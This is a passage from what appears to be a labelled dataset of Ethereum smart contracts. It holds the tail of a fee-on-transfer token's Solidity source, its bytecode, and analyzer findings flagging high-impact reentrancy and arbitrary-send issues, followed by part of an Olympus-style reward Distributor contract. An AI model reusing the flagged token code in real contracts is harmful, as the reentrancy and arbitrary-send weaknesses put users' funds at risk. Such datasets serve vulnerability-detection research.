uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102dd578063c9567bf91461031a578063dd62ed3e14610331578063f42938901461036e576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b41146102895780639e752b95146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a9190612231565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611df4565b6103c2565b6040516101579190612216565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b6040516101829190612393565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611da1565b6103ee565b6040516101bf9190612216565b60405180910390f35b3480156101d457600080fd5b506101dd6104c7565b6040516101ea9190612408565b60405180910390f35b3480156101ff57600080fd5b506102086104d0565b005b34801561021657600080fd5b50610231600480360381019061022c9190611d07565b61054a565b60405161023e9190612393565b60405180910390f35b34801561025357600080fd5b5061025c61059b565b005b34801561026a57600080fd5b506102736106ee565b6040516102809190612148565b60405180910390f35b34801561029557600080fd5b5061029e610717565b6040516102ab9190612231565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611e61565b610754565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611df4565b6107cc565b6040516103119190612216565b60405180910390f35b34801561032657600080fd5b5061032f6107ea565b005b34801561033d57600080fd5b5061035860048036038101906103539190611d61565b610cf7565b6040516103659190612393565b60405180910390f35b34801561037a57600080fd5b50610383610d7e565b005b60606040518060400160405280600881526020017f596f726969636869000000000000000000000000000000000000000000000000815250905090565b60006103d66103cf610df0565b8484610df8565b6001905092915050565b6000655af3107a4000905090565b60006103fb848484610fc3565b6104bc84610407610df0565b6104b7856040518060600160405280602881526020016129e360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046d610df0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122b9092919063ffffffff16565b610df8565b600190509392505050565b60006006905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610511610df0565b73ffffffffffffffffffffffffffffffffffffffff161461053157600080fd5b600061053c3061054a565b90506105478161128f565b50565b6000610594600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611517565b9050919050565b6105a3610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610627906122f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f594f524949434849000000000000000000000000000000000000000000000000815250905090565b61075c610df0565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b557600080fd5b600981106107c257600080fd5b8060088190555050565b60006107e06107d9610df0565b8484610fc3565b6001905092915050565b6107f2610df0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610876906122f3565b60405180910390fd5b600b60149054906101000a900460ff16156108cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c690612373565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061095c30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16655af3107a4000610df8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a257600080fd5b505afa1580156109b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109da9190611d34565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3c57600080fd5b505afa158015610a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a749190611d34565b6040518363ffffffff1660e01b8152600401610a91929190612163565b602060405180830381600087803b158015610aab57600080fd5b505af1158015610abf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae39190611d34565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b6c3061054a565b600080610b776106ee565b426040518863ffffffff1660e01b8152600401610b99969594939291906121b5565b6060604051808303818588803b158015610bb257600080fd5b505af1158015610bc6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610beb9190611e8e565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca192919061218c565b602060405180830381600087803b158015610cbb57600080fd5b505af1158015610ccf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf39190611e34565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbf610df0565b73ffffffffffffffffffffffffffffffffffffffff1614610ddf57600080fd5b6000479050610ded81611585565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90612353565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612293565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb69190612393565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90612333565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109a90612253565b60405180910390fd5b600081116110e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dd90612313565b60405180910390fd5b6110ee6106ee565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561115c575061112c6106ee565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561121b57600061116c3061054a565b9050600b60159054906101000a900460ff161580156111d95750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f15750600b60169054906101000a900460ff165b15611219576111ff8161128f565b600047905060008111156112175761121647611585565b5b505b505b6112268383836115f1565b505050565b6000838311158290611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a9190612231565b60405180910390fd5b50600083856112829190612559565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112c7576112c66126b4565b5b6040519080825280602002602001820160405280156112f55781602001602082028036833780820191505090505b509050308160008151811061130d5761130c612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113af57600080fd5b505afa1580156113c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e79190611d34565b816001815181106113fb576113fa612685565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061146230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610df8565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114c69594939291906123ae565b600060405180830381600087803b1580156114e057600080fd5b505af11580156114f4573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b600060055482111561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612273565b60405180910390fd5b6000611568611601565b905061157d818461162c90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115ed573d6000803e3d6000fd5b5050565b6115fc838383611676565b505050565b600080600061160e611841565b91509150611625818361162c90919063ffffffff16565b9250505090565b600061166e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061189a565b905092915050565b600080600080600080611688876118fd565b9550955095509550955095506116e686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c781611a0d565b6117d18483611aca565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161182e9190612393565b60405180910390a3505050505050505050565b600080600060055490506000655af3107a40009050611871655af3107a400060055461162c90919063ffffffff16565b82101561188d57600554655af3107a4000935093505050611896565b81819350935050505b9091565b600080831182906118e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d89190612231565b60405180910390fd5b50600083856118f091906124ce565b9050809150509392505050565b600080600080600080600080600061191a8a600754600854611b04565b925092509250600061192a611601565b9050600080600061193d8e878787611b9a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122b565b905092915050565b60008082846119be9190612478565b905083811015611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa906122b3565b60405180910390fd5b8091505092915050565b6000611a17611601565b90506000611a2e8284611c2390919063ffffffff16565b9050611a8281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119af90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611adf8260055461196590919063ffffffff16565b600581905550611afa816006546119af90919063ffffffff16565b6006819055505050565b600080600080611b306064611b22888a611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b5a6064611b4c888b611c2390919063ffffffff16565b61162c90919063ffffffff16565b90506000611b8382611b75858c61196590919063ffffffff16565b61196590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bb38589611c2390919063ffffffff16565b90506000611bca8689611c2390919063ffffffff16565b90506000611be18789611c2390919063ffffffff16565b90506000611c0a82611bfc858761196590919063ffffffff16565b61196590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c365760009050611c98565b60008284611c4491906124ff565b9050828482611c5391906124ce565b14611c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8a906122d3565b60405180910390fd5b809150505b92915050565b600081359050611cad8161299d565b92915050565b600081519050611cc28161299d565b92915050565b600081519050611cd7816129b4565b92915050565b600081359050611cec816129cb565b92915050565b600081519050611d01816129cb565b92915050565b600060208284031215611d1d57611d1c6126e3565b5b6000611d2b84828501611c9e565b91505092915050565b600060208284031215611d4a57611d496126e3565b5b6000611d5884828501611cb3565b91505092915050565b60008060408385031215611d7857611d776126e3565b5b6000611d8685828601611c9e565b9250506020611d9785828601611c9e565b9150509250929050565b600080600060608486031215611dba57611db96126e3565b5b6000611dc886828701611c9e565b9350506020611dd986828701611c9e565b9250506040611dea86828701611cdd565b9150509250925092565b60008060408385031215611e0b57611e0a6126e3565b5b6000611e1985828601611c9e565b9250506020611e2a85828601611cdd565b9150509250929050565b600060208284031215611e4a57611e496126e3565b5b6000611e5884828501611cc8565b91505092915050565b600060208284031215611e7757611e766126e3565b5b6000611e8584828501611cdd565b91505092915050565b600080600060608486031215611ea757611ea66126e3565b5b6000611eb586828701611cf2565b9350506020611ec686828701611cf2565b9250506040611ed786828701611cf2565b9150509250925092565b6000611eed8383611ef9565b60208301905092915050565b611f028161258d565b82525050565b611f118161258d565b82525050565b6000611f2282612433565b611f2c8185612456565b9350611f3783612423565b8060005b83811015611f68578151611f4f8882611ee1565b9750611f5a83612449565b925050600181019050611f3b565b5085935050505092915050565b611f7e8161259f565b82525050565b611f8d816125e2565b82525050565b6000611f9e8261243e565b611fa88185612467565b9350611fb88185602086016125f4565b611fc1816126e8565b840191505092915050565b6000611fd9602383612467565b9150611fe4826126f9565b604082019050919050565b6000611ffc602a83612467565b915061200782612748565b604082019050919050565b600061201f602283612467565b915061202a82612797565b604082019050919050565b6000612042601b83612467565b915061204d826127e6565b602082019050919050565b6000612065602183612467565b91506120708261280f565b604082019050919050565b6000612088602083612467565b91506120938261285e565b602082019050919050565b60006120ab602983612467565b91506120b682612887565b604082019050919050565b60006120ce602583612467565b91506120d9826128d6565b604082019050919050565b60006120f1602483612467565b91506120fc82612925565b604082019050919050565b6000612114601783612467565b915061211f82612974565b602082019050919050565b612133816125cb565b82525050565b612142816125d5565b82525050565b600060208201905061215d6000830184611f08565b92915050565b60006040820190506121786000830185611f08565b6121856020830184611f08565b9392505050565b60006040820190506121a16000830185611f08565b6121ae602083018461212a565b9392505050565b600060c0820190506121ca6000830189611f08565b6121d7602083018861212a565b6121e46040830187611f84565b6121f16060830186611f84565b6121fe6080830185611f08565b61220b60a083018461212a565b979650505050505050565b600060208201905061222b6000830184611f75565b92915050565b6000602082019050818103600083015261224b8184611f93565b905092915050565b6000602082019050818103600083015261226c81611fcc565b9050919050565b6000602082019050818103600083015261228c81611fef565b9050919050565b600060208201905081810360008301526122ac81612012565b9050919050565b600060208201905081810360008301526122cc81612035565b9050919050565b600060208201905081810360008301526122ec81612058565b9050919050565b6000602082019050818103600083015261230c8161207b565b9050919050565b6000602082019050818103600083015261232c8161209e565b9050919050565b6000602082019050818103600083015261234c816120c1565b9050919050565b6000602082019050818103600083015261236c816120e4565b9050919050565b6000602082019050818103600083015261238c81612107565b9050919050565b60006020820190506123a8600083018461212a565b92915050565b600060a0820190506123c3600083018861212a565b6123d06020830187611f84565b81810360408301526123e28186611f17565b90506123f16060830185611f08565b6123fe608083018461212a565b9695505050505050565b600060208201905061241d6000830184612139565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612483826125cb565b915061248e836125cb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124c3576124c2612627565b5b828201905092915050565b60006124d9826125cb565b91506124e4836125cb565b9250826124f4576124f3612656565b5b828204905092915050565b600061250a826125cb565b9150612515836125cb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561254e5761254d612627565b5b828202905092915050565b6000612564826125cb565b915061256f836125cb565b92508282101561258257612581612627565b5b828203905092915050565b6000612598826125ab565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125ed826125cb565b9050919050565b60005b838110156126125780820151818401526020810190506125f7565b83811115612621576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129a68161258d565b81146129b157600080fd5b50565b6129bd8161259f565b81146129c857600080fd5b50565b6129d4816125cb565b81146129df57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a8d522023dfddbfef7ba387efd97c669d484c4d8d7b4b7f258cd435cddbfa9e64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,485 |
0x73cfe6b116d161a2f9c165f7fc5270fb7dd2bb1e
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy( address newPolicy_ ) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred( address(0), _policy );
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require( _policy == msg.sender, "Ownable: caller is not the owner" );
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred( _policy, address(0) );
_policy = address(0);
}
function pushPolicy( address newPolicy_ ) public virtual override onlyPolicy() {
require( newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require( msg.sender == _newPolicy );
emit OwnershipTransferred( _policy, _newPolicy );
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards( address _recipient, uint _amount ) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
struct Info {
uint rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
mapping( uint => Adjust ) public adjustments;
constructor( address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock ) {
require( _treasury != address(0) );
treasury = _treasury;
require( _ohm != address(0) );
OHM = _ohm;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
/**
@notice send epoch reward to staking contract
*/
function distribute() external {
if ( nextEpochBlock <= block.number ) {
nextEpochBlock = nextEpochBlock.add( epochLength ); // set next epoch block
// distribute rewards to each recipient
for ( uint i = 0; i < info.length; i++ ) {
if ( info[ i ].rate > 0 ) {
ITreasury( treasury ).mintRewards( // mint and send from treasury
info[ i ].recipient,
